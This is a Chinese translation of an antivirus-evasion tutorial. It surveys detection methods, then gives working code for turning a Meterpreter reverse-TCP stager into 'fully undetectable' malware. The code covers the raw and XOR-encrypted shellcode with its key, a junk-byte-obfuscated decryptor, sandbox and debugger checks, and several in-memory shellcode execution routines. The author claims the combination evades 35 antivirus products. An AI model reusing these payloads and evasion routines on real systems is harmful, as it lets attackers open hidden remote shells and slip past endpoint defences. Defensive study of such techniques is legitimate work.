反检测的艺术1-反病毒软件及检测技术概述(翻译)

文章目录
  1. 1. 0x00 介绍
  2. 2. 0x01 相关术语
    1. 2.1. 基于特征码的检测技术
    2. 2.2. 静态分析
    3. 2.3. 动态分析
    4. 2.4. 沙盒
    5. 2.5. 启发式分析
    6. 2.6.
  3. 3. 0x02 常用反检测方法
    1. 3.1. 代码混淆
    2. 3.2. 压缩壳工具
    3. 3.3. 加密壳工具
  4. 4. 0x03 加密壳压缩壳所面临的问题
    1. 4.1. PE注入
    2. 4.2. 完美的方法
  5. 5. POC
  6. 6. 第二部分
  7. 7. 参考

本篇文章将介绍对抗最新反病毒软件静态检测、动态检测及启发式分析最有效的方法。其中一些已经是公开并被大众所熟知的方法,但是仍然有一些方法和绕过技巧是实现完全不可被检测(FUD,Fully Undetectable)恶意代码的关键,同时恶意代码的大小与其反检测能力同等重要,因此在实现这些反检测方法的时候我会努力让恶意代码的文件大小尽可能的小。本文也将介绍反病毒软件及Windows操作系统的内部原理,因此读者最好具备一定的C/C++及汇编语言基础同时对PE文件结构有一定的了解

0x00 介绍

反检测方法应该针对不同种类的恶意代码有不同的方法,本文介绍的所有反检测方法可以适用于所有种类的恶意代码但是本文侧重于stager meterpreter类型载荷,因为meterpreter能够做所有其他恶意代码能够做的事情,通过meterpreter会话可以做很多事情,包括权限提升、窃取凭据、操作进程/注册表,在利用漏洞后能够进行更多操作,meterpreter也拥有非常活跃的社区,在安全研究人员中很受欢迎。

0x01 相关术语

基于特征码的检测技术

传统反病毒软件严重依赖基于特征码的检测技术检测恶意代码。一般,当恶意代码达到反病毒公司后,将交由恶意代码研究人员或者动态分析系统进行分析,一旦被确定为恶意代码,就会提取该恶意代码的特征码并将特征码添加到反病毒软件数据库中。

静态分析

静态分析是在没有实际执行程序的情况下对程序进行分析的技术。在大多数情况下,是对软件源代码的某些版本进行分析,在某些情况下也会对目标源码的某些形式进行分析。

动态分析

动态分析是在真实或者虚拟的计算机上执行程序进行分析。为了提高动态分析的有效性,必须对目标程序产生足够的输入让目标程序产生一些有趣的行为。

沙盒

在计算机安全中沙盒是一种隔离运行中程序的一种安全机制。通常用于执行未经测试或者不受信任的风险程序和代码,可能来自未经验证或者不受信任的第三方供应商、网站或者用户,通过沙盒执行可以避免损害主机或者操作系统。

启发式分析

很多反病毒软件采用启发式分析检测目前未知病毒和已知病毒变种。启发式分析是一种基于专家的分析系统,使用各种规则和权重确定各种威胁和风险的安全性。多标准分析(MCA)是其中一种衡量手段,启发式分析不同于静态分析,静态分析依赖于自身的数据和统计信息。

在计算机科学中,熵是操作系统或者应用程序收集的用于密码学或者其他需要随机数据用途的随机性的一种衡量方式。这种随机性一般来源于硬件,如鼠标移动或者专用的硬件随机数生成器的。熵过低可能会对计算机性能或者安全性造成伤害。

0x02 常用反检测方法

为了降低恶意代码被检测的风险,首先考虑使用的方式是加密程序、打包程序或者代码混淆。这些反检测技术和工具仍然可以绕过很多反病毒软件,但随着网络安全领域的进步,大多数的工具和方法已经过时并且无法生成完全不被检测的恶意代码。但是为了理解这些技术和工具的内部工作原理,这里还将对其进行简要描述。

代码混淆

代码混淆可以定义为在不破坏实际功能的情况下对二进制程序的源代码进行混淆的一种方法,这使静态分析更加困难,同时还改变二进制代码的哈希签名。混淆只需添加几行垃圾代码或更改指令的执行顺序即可实现。这种方法可以绕过数量可观的反病毒软件,但要取决于您混淆了多少。

压缩壳工具

压缩壳工具是压缩可执行文件并将压缩后的数据与解压缩代码合并为单个可执行文件的一种程序。当执行被压缩壳压缩的程序时,解压缩代码将在执行之前从压缩的代码重新创建原始代码。在大多数情况下,这对原始程序是透明的,因此可以与原始文件完全相同的方式使用压缩的可执行文件。当反病毒软件扫描被打包压缩的恶意代码时,它需要确定压缩算法并将其解压缩。由于压缩后的文件较难分析,因此恶意软件作者对压缩壳工具表现出了浓厚的兴趣。

加密壳工具

加密壳工具是对给定二进制文件进行加密的程序,以使其难以分析或者进行逆向工程。被加密壳打包的程序优两部分组成:builder和stub,builder仅对给定的二进制文件进行加密并将其放置在stub中,stub是加密壳中最重要的部分,当我们执行被加密壳打包的二进制文件时,第一个stub运行并解密原始二进制文件到内存,然后通过RunPE方法在内存中执行二进制文件(在大多数情况下)。



0x03 加密壳压缩壳所面临的问题

在介绍最有效反检测技术之前,已知的反检测技术其实所面临的问题其实很少。但是现在的反病毒公司已经意识到了这种危险,现在他们不仅扫描恶意代码的特征和有害行为,还在扫描加密壳和压缩壳的特征。与检测恶意代码相比,检测加密壳和压缩壳相对容易,因为它们都必须做某些可疑的事情,例如解密加密的PE文件并在内存中执行。

PE注入

为了说明PE映像如何在内存中的执行,本文将会讲解Windows如何加载PE文件。在编译PE文件时,编译器会将主模块基地址设置为0x00400000,而编译过程中所有的地址指针和长跳转指令处的地址都是根据主模块地址计算的,在编译后期,编译器会在PE文件中创建一个重定位表,重定位表中包含的指令的地址取决于映像基址,例如地址指针和长跳转指令。
在执行PE映像时,操作系统会检查PE映像的默认基地址的可用性,如果默认基地址不可用,则操作系统会在启动过程系统加载程序需要之前,将PE映像加载到内存中的随机可用地址上。然后通过重定位表调整内存中的绝对地址,系统加载程序会修复所有与绝对地址相关的指令,然后启动这个被挂起的进程。这种机制称为地址随机化ASLR。
为了在内存上执行PE映像,加密壳需要解析PE头并重新定位绝对地址,同时必须模拟系统加载器,这种行为是非常可疑的。几乎每次当我们分析用C或其他高级语言编写的加密壳的时候,我们都会发现使用了NtUnmapViewOfSection或者ZwUnmapViewOfSection这两个Windows系统API,这两个函数的作用为从虚拟内存中卸载某些sections的映射,它们在RunPE类内存执行技术中起着非常大的作用,几乎%90的加密壳都会使用这种技术。

1
2
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));

当然,反病毒软件不能仅仅对使用这些Windows API函数的程序都判定为恶意代码,但使用这些函数的顺序非常重要。一小部分的加密壳(通常是用汇编语言编写)不使用这些函数并手动执行重定位,之前这种方式非常有效,但后续这种方法也将可能会失效,因为从逻辑上讲,正常程序都不会模拟系统加载器。另一个缺点是输入文件的熵极大增加,因为对整个PE文件进行了加密,熵将不可避免地上升,当反病毒软件检测到PE文件异常熵时,它们可能会将文件标记为可疑文件。



完美的方法

通过加密恶意代码实现反检测的概念很聪明,但是执行解密功能的函数应该适当地的做混淆处理,同时内存中执行解密代码的时候,我们必须在不执行重定位的情况下进行加密,而且还必须有一种检测执行环境的功能的检测机制恶意代码是否在沙盒中执行,如果检测机制检测到反病毒软件正在分析恶意软件,则不应执行解密功能。与其加密整个PE文件不如只加密shellcode或仅二进制文件的.text节,这样可以使熵值较低,也不用修改PE头部和其他节。
下面是恶意代码的执行流程图。




在环境检测函数中将会检查当前恶意代码是否在沙盒中被动态分析,如果检测到正在沙盒中被动态分析则继续执行main函数或者直接崩溃,如果未检测到沙盒环境则执行解密shellcode函数。
原始reverse tcp meterpreter的shellcode如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned char Shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77,
0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8,
0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b,
0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02,
0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40,
0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56,
0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0c,
0xff, 0x4e, 0x08, 0x75, 0xec, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5,
0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff,
0xd5, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a,
0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00,
0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x01, 0xc3,
0x29, 0xc6, 0x75, 0xee, 0xc3
};

```

为了使熵值和文件大小保持在适当的值,我们将会使用简单的XOR加密算法加密这段shellcode,虽然XOR不是一个像RC4、blowfis的标准的加密算法,但是我们不需要一个强加密算法,因为反病毒软件不会去解密shellcode,仅仅是让这段shellcode对静态字符串分析不可读和不可检测就够了,同时使用XOR会使得解密更快并且避免使用加密库会使文件大小更小。
经过XOR加密后的代码如下:

```c

unsigned char Shellcode[] = {
0xfb, 0xcd, 0x8d, 0x9e, 0xba, 0x42, 0xe1, 0x93, 0xe2, 0x14, 0xcf, 0xfa,
0x31, 0x12, 0xb1, 0x91, 0x55, 0x29, 0x84, 0xcc, 0xae, 0xc9, 0xf3, 0x32,
0x08, 0x92, 0x45, 0xb8, 0x8b, 0xbd, 0x2d, 0x26, 0x66, 0x59, 0x0d, 0xb2,
0x9a, 0x83, 0x4e, 0x17, 0x06, 0xe2, 0xed, 0x6c, 0xe8, 0x15, 0x0a, 0x48,
0x17, 0xae, 0x45, 0xa2, 0x31, 0x0e, 0x90, 0x62, 0xe4, 0x6d, 0x0e, 0x4f,
0xeb, 0xc9, 0xd8, 0x3a, 0x06, 0xf6, 0x84, 0xd7, 0xa2, 0xa1, 0xbb, 0x53,
0x8c, 0x11, 0x84, 0x9f, 0x6c, 0x73, 0x7e, 0xb6, 0xc6, 0xea, 0x02, 0x9f,
0x7d, 0x7a, 0x61, 0x6f, 0xf1, 0x26, 0x72, 0x66, 0x81, 0x3f, 0xa5, 0x6f,
0xe3, 0x7d, 0x84, 0xc6, 0x9e, 0x43, 0x52, 0x7c, 0x8c, 0x29, 0x44, 0x15,
0xe2, 0x5e, 0x80, 0xc9, 0x8c, 0x21, 0x84, 0x9f, 0x6a, 0xcb, 0xc5, 0x3e,
0x23, 0x7e, 0x54, 0xff, 0xe3, 0x18, 0xd0, 0xe5, 0xe7, 0x7a, 0x50, 0xc4,
0x31, 0x50, 0x6a, 0x97, 0x5a, 0x4d, 0x3c, 0xac, 0xba, 0x42, 0xe9, 0x6d,
0x74, 0x17, 0x50, 0xca, 0xd2, 0x0e, 0xf6, 0x3c, 0x00, 0xda, 0xda, 0x26,
0x2a, 0x43, 0x81, 0x1a, 0x2e, 0xe1, 0x5b, 0xce, 0xd2, 0x6b, 0x01, 0x71,
0x07, 0xda, 0xda, 0xf4, 0xbf, 0x2a, 0xfe, 0x1a, 0x07, 0x24, 0x67, 0x9c,
0xba, 0x53, 0xdd, 0x93, 0xe1, 0x75, 0x5f, 0xce, 0xea, 0x02, 0xd1, 0x5a,
0x57, 0x4d, 0xe5, 0x91, 0x65, 0xa2, 0x7e, 0xcf, 0x90, 0x4f, 0x1f, 0xc8,
0xed, 0x2a, 0x18, 0xbf, 0x73, 0x44, 0xf0, 0x4b, 0x3f, 0x82, 0xf5, 0x16,
0xf8, 0x6b, 0x07, 0xeb, 0x56, 0x2a, 0x71, 0xaf, 0xa5, 0x73, 0xf0, 0x4b,
0xd0, 0x42, 0xeb, 0x1e, 0x51, 0x72, 0x67, 0x9c, 0x63, 0x8a, 0xde, 0xe5,
0xd2, 0xae, 0x39, 0xf4, 0xfa, 0x2a, 0x81, 0x0a, 0x07, 0x25, 0x59, 0xf4,
0xba, 0x2a, 0xd9, 0xbe, 0x54, 0xc0, 0xf0, 0x4b, 0x29, 0x11, 0xeb, 0x1a,
0x51, 0x76, 0x58, 0xf6, 0xb8, 0x9b, 0x49, 0x45, 0xf8, 0xf0, 0x0e, 0x5d,
0x93, 0x84, 0xf4, 0xf4, 0xc4
};

unsigned char Key[] = {
0x07, 0x25, 0x0f, 0x9e, 0xba, 0x42, 0x81, 0x1a
};


由于我们编写了一个新的恶意代码,因反病毒防病毒软件不知道我们的恶意代码的哈希签名,因此我们不必担心基于特征码的检测,我们将对shellcode进行加密并混淆我们的反检测、反逆向工程、解密功能的代码,这样就足够绕过基于静态和启发式扫描,最后就只需要绕过反病毒软件的动态扫描就可以了,绕过动态扫描最重要的方法是通过AV detect实现,但是在开始写AV detect功能之前我们将介绍反病毒软件的启发式分析引擎是如何工作的。

## 启发式引擎

启发式引擎是基于统计和规则的分析机制。它们的主要目的是通过根据预定义的标准对代码片段进行分类并为代码片段提供威胁/风险等级,从而检测新一代(以前未知的)恶意代码,反病毒软件即使在扫描的简单hello world程序的情况下,启发式引擎也会确定威胁/风险评分,分数一旦高于阈值,该文件就会被标记为恶意。启发式引擎是反病毒软件中最高级的部分,它们使用大量规则和标准,因为没有反病毒公司发布有关其启发式引擎的设计文件或文档,所有关于其威胁/风险分级策略的已知选择性标准都是通过反复试验而发现的。
一些有关威胁等级的已知规则:
– 检测到解密循环
– 读取当前的计算机名称
– 读取密码机GUID
– 连接随机域名
– 读取Windows安装日期
– 删除可执行文件
– 在二进制文件中发现潜在的IP地址
– 修改代理设置
– 对正在运行的过程安装hook/patch程序
– 注入资源管理器explorer
– 注入远程进程
– 查询进程信息
– 设置进程错误模式避免弹出错误弹窗
– 不正常的熵值
– 检查潜在的反病毒软件
– 监视特定的注册表项以进行更改
– 包含提升特权的能力
– 修改软件策略设置
– 读取系统/视频BIOS版本
– PE标头中存在不常见的section
– 创建受保护的内存区域
– 创建很多进程
– 尝试长时间休眠
– 不常见的sections
– 读取Windows产品ID
– 包含解密循环
– 包含启动/交互设备驱动程序的功能
– 包含阻止用户输入的功能


在编写我们的AV检测和解密Shellcode函数时,我们必须注意以下所有规则。

### 解密Shellcode

混淆解密函数至关重要,大多数反病毒软件启发式引擎都能够检测PE文件内部的解密循环,在勒索软件攻击案例大量增加之后,甚至构建了一些启发式引擎专门用于检测加密/解密函数,一旦检测到解密函数,某些扫描器会等到ECX寄存器为0时,预示解密循环结束,扫描器会去分析被解密的文件内容
下面就是Decrypt Shellcode函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

void DecryptShellcode() {
for (int i = 0; i < sizeof(Shellcode); i++) {

__asm
{
PUSH EAX
XOR EAX, EAX
JZ True1
__asm __emit(0xca)
__asm __emit(0x55)
__asm __emit(0x78)
__asm __emit(0x2c)
__asm __emit(0x02)
__asm __emit(0x9b)
__asm __emit(0x6e)
__asm __emit(0xe9)
__asm __emit(0x3d)
__asm __emit(0x6f)

True1:
POP EAX
}
Shellcode[i] = (Shellcode[i] ^ Key[(i % sizeof(Key))]);
__asm
{
PUSH EAX
XOR EAX, EAX
JZ True2
__asm __emit(0xd5)
__asm __emit(0xb6)
__asm __emit(0x43)
__asm __emit(0x87)
__asm __emit(0xde)
__asm __emit(0x37)
__asm __emit(0x24)
__asm __emit(0xb0)
__asm __emit(0x3d)
__asm __emit(0xee)
True2:
POP EAX
}
}
}


这是一个for循环,它使shellcode字节和key字节之间进行逻辑异或运算,而前后两部分汇编代码(有_asm开始的)是无意义的,使用随机字节覆盖逻辑异或运算但是执行时会跳过这部分代码。由于我们没有使用任何高级解密机制,因此足以混淆Decrypt Shellcode功能。

### 动态分析检测

同样,在编写沙箱检测函数时,需要对其进行混淆,如果启发式引擎检测到任何反逆向工程方法的信息,则对恶意软件的威胁评分将非常不利。

### 当前是否在被调试

我们的第一个反病毒检测机制将在我们的进程中检查调试器,需要使用一个Windows API函数,功能为确定调用过程是否正在由用户模式调试器调试。但是我们不会使用它,因为大多数反病毒软件都在监视win API调用,因此它们可能会将此功能检测为反逆向工程方法。我们使用PEB块中的BeingDebuged标志位而不是使用API。

1
2
3
4
5
6
7
8
9
10
11
12

// bool WINAPI IsDebuggerPresent(void);
__asm
{
CheckDebugger:
PUSH EAX // Save the EAX value to stack
MOV EAX, [FS:0x30] // Get PEB structure address
MOV EAX, [EAX+0x02] // Get being debugged byte
TEST EAX, EAX // Check if being debuged byte is set
JNE CheckDebugger // If debugger present check again
POP EAX // Put back the EAX value
}


通过使用内联汇编,这段代码使用指向PEB块中的BeingDebuged标志位的指针,如果存在调试器,它将再次检查直到堆栈中发生溢出,当发生溢出时,堆栈会触发异常并关闭进程,这是退出程序的最简单的方法。检查是否正在被调试的将绕过一定数量的反病毒产品,但是仍有一些反病毒软件已针对此问题采取了措施,因此我们需要对代码进行混淆处理以避免静态特征码分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

__asm
{
CheckDebugger:
PUSH EAX
MOV EAX, DWORD PTR FS : [0x18]
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J
__asm __emit(0xea)
J:
POP EAX
}
MOV EAX, DWORD PTR[EAX + 0x30]
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J2
__asm __emit(0xea)
J2:
POP EAX
}
CMP BYTE PTR[EAX + 2], 0
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J3
__asm __emit(0xea)
J3:
POP EAX
}
JNE CheckDebugger
POP EAX
}


我在所有操作之后都添加了跳转指令,这不会修改原始代码的作用,但是在跳转之间添加垃圾字节会混淆代码并避免被静态分析检测。

### 加载虚假的DLL

我们将尝试在运行时加载不存在的dll。通常,当我们尝试加载不存在的dll时,HISTENCE返回NULL,但是某些反病毒软件动态分析时会正常返回,以便进一步检查程序的执行流程,这样就可以检测到在沙盒中执行。

1
2
3
4
5
bool BypassAV(char const * argv[]) {
HINSTANCE DLL = LoadLibrary(TEXT("fake.dll"));
if (DLL != NULL) {
BypassAV(argv);
}


### 运行时间

在这种方法中,我们将利用反病毒软件处理时间的漏洞。在大多数情况下,反病毒软件扫描器是为终端用户设计的,它们必须对用户友好并且适合日常使用,这意味着它们不会花费太多时间来扫描文件,而需要尽快扫描文件。最初,恶意软件开发人员使用sleep()函数等待扫描完成,但是如今,这种技巧几乎不再起作用,每个防病毒产品在遇到一个时都会跳过睡眠功能。我们将针对它们使用此代码,下面的代码使用了一个称为GetThickCount()的Windows API函数,该函数返回检索自系统启动以来经过的毫秒数,最长为49.7天。我们将使用它来获取自操作系统启动以来经过的时间,然后尝试睡眠1秒钟,在睡眠函数之后,我们将通过比较两个GetTickCout()值来检查运行环境Sleep函数是否被跳过。

1
2
3
4
5
6
int Tick = GetTickCount();
Sleep(1000);
int Tac = GetTickCount();
if ((Tac - Tick) < 1000) {
return false;
}


### 处理器核心数

此方法只用查询系统上处理器核心的数量。由于反病毒软件无法从主机分配过多资源,因此我们可以检查处理器核心数,以确定我们是否在沙箱中。同时某些反病毒软件沙盒也不支持多处理器因此在其沙盒中也仅仅会保留一个处理器。

1
2
3
4
5
6
SYSTEM_INFO SysGuide;
GetSystemInfo(&SysGuide);
int CoreNum = SysGuide.dwNumberOfProcessors;
if (CoreNum < 2) {
return false;
}


### 大内存分配

该方法也是利用了反病毒软件每次扫描的时间短的漏洞,我们只需分配近100 Mb的内存,然后将其填充为NULL字节,最后释放它。

1
2
3
4
5
6
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if (Memdmp != NULL) {
memset(Memdmp, 00, 100000000);
free(Memdmp);
}


当程序内存在运行时开始增长时,最终反病毒软件扫描器将结束扫描,以免在文件上花费过多时间,该方法可以多次使用。这是一种非常原始和古老的技术,但它仍然绕过了大量的扫描器。

### trap标志位设置

trap标志用于单步调试跟踪程序。如果设置了此标志,则每条指令都会引发SINGLE_STEP异常。可以对陷阱标志进行操作,以阻止跟踪程序。我们可以使用以下代码操作陷阱标志。

1
2
3
4
5
6
__asm
{
PUSHF // Push all flags to stack
MOV DWORD [ESP], 0x100 // Set 0x100 to the last flag on the stack
POPF // Put back all flags register values
}


### 通过互斥量触发WinExec

该方法由于其简单性而非常有前途,我们创建了一个条件来检查系统上是否已经存在某个互斥对象。

1
2
3
4
HANDLE AmberMutex = CreateMutex(NULL, TRUE, "FakeMutex");
if(GetLastError() != ERROR_ALREADY_EXISTS){
WinExec(argv[0],0);
}


如果CreateMutex功能未返回错误,我们将再次执行该恶意软件二进制文件,因为大多数反病毒产品都不会让程序在进行动态分析时启动新进程或访问外部的文件发生,如果返回mutex已经存在错误则可以开始执行解密功能。在反检测中,互斥量使用的想法更多。

### 正确执行Shellcode的方法

从Windows Vista开始,Microsoft引入了数据执行保护或DEP,这是一项安全功能,可以通过实时监视程序来帮助防止损坏计算机。监视可确保正在运行的程序有效地使用系统内存。如果您的计算机上存在某个程序实例错误地使用了内存,则DEP会注意到它,然后关闭该程序并通知您。这意味着您不能只将一些字节放入char数组中并执行它,而是需要使用Windows API函数使用read,write和execute标志分配一个内存区域。
Microsoft有几个用于保留内存页面的内存操作API函数,该领域中的大多数常见恶意软件都使用VirtualAlloc功能来保留内存页面,因为您可以猜测这些函数的常见用法有助于反病毒产品使用其他内存来定义检测规则操纵功能,并且可能会引起较少的注意。
我将列出几种具有不同内存操作API函数的shellcode执行方法:

HeapCreate/HeapAlloc

Windows还允许创建RWE堆区域

1
2
3
4
5
6
void ExecuteShellcode(){
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(Shellcode), sizeof(Shellcode));
char * BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(Shellcode));
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}


LoadLibrary/GetProcAddress:

LoadLibrary和GetProcAddress win API函数组合允许我们使用所有其他win API函数,并且这种使用方式不会直接调用内存操作函数和恶意软件,因此可能不太吸引人注意。

1
2
3
4
5
6
7
8
9
void ExecuteShellcode(){
HINSTANCE K32 = LoadLibrary(TEXT("kernel32.dll"));
if(K32 != NULL){
MYPROC Allocate = (MYPROC)GetProcAddress(K32, "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
}


GetModuleHandle/GetProcAddress:

该方法甚至不使用LoadLibrary函数,因为它利用了已加载的kernel32.dll的优势,GetModuleHandle函数从一个已加载的dll中检索模块句柄,这个方法大概是最隐蔽的执行方法。

1
2
3
4
5
6
void ExecuteShellcode(){
MYPROC Allocate = (MYPROC)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}


多线程执行:

对逆向工程工程师来说,逆向多线程PE文件总是比较困难,这对于反病毒软件也是一个挑战,多线程方法可以与上述所有执行方法一起使用,将函数指针指向shellcode并通过创建新线程执行shellcode将使情况变得复杂,通过这种方式可以同时执行shellcode和检测反病毒软件。

1
2
3
4
5
6
7
8
void ExecuteShellcode(){
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
CreateThread(NULL,0,LPTHREAD_START_ROUTINE(BUFFER),NULL,0,NULL);
while(TRUE){
BypassAV(argv);
}
}


上面的代码通过创建一个新线程来执行shellcode,在创建线程之后,有一个无限的whlie循环正在执行BypassAV函数,这种方法几乎可以使我们的BypassAV函数的效果翻倍,BypassAV将不断检查在运行Shellcode时使用沙箱和动态分析标志,这对于绕过某些等待执行Shellcode的高级启发式引擎也至关重要。

### 结论

最后其实关于如何编译恶意软件的方法很少,在编译源代码时,需要使用诸如堆栈保护程序之类的保护措施,并且剥离符号对于加强我们的恶意软件的逆向工程过程并减小文件大小至关重要。 ,建议使用Visual Studio进行编译,因为本文使用了内联汇编语法。
当所有这些方法结合在一起时,生成的恶意代码便能够绕过35种最先进的反病毒产品。



POC

使用本文中介绍的技术创建的Meterpreter显示了我们的恶意软件如何在真实系统中产生结果。
这些方法迟早也会过期,但是总会有更多的方法绕过反病毒软件。

第二部分

反检测的艺术第二部分已经发表,通过以下链接可以查看:http://www.youngroe.com/art-of-anti-detection-2-pe-backdoor-manufacturing/

参考

[1] – https://en.wikipedia.org/wiki/Antivirus_software
[2] – https://en.wikipedia.org/wiki/Static_program_analysis
[3] – https://en.wikipedia.org/wiki/Dynamic_program_analysis
[4] – https://en.wikipedia.org/wiki/Sandbox_(computer_security)
[5] – https://en.wikipedia.org/wiki/Heuristic_analysis
[6] – https://en.wikipedia.org/wiki/Entropy
[7] – https://en.wikipedia.org/wiki/Address_space_layout_randomization
[8] – https://msdn.microsoft.com/en-us/library/windows/desktop/aa366553(v=vs.85).aspx
The Antivirus Hacker’s Handbook
The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in the Dark Corners of the System
http://venom630.free.fr/pdf/Practical_Malware_Analysis.pdf
http://pferrie.host22.com/papers/antidebug.pdf
https://www.symantec.com/connect/articles/windows-anti-debug-reference
https://www.exploit-db.com/docs/18849.pdf
http://blog.sevagas.com/?Fun-combining-anti-debugging-and

原文链接:https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/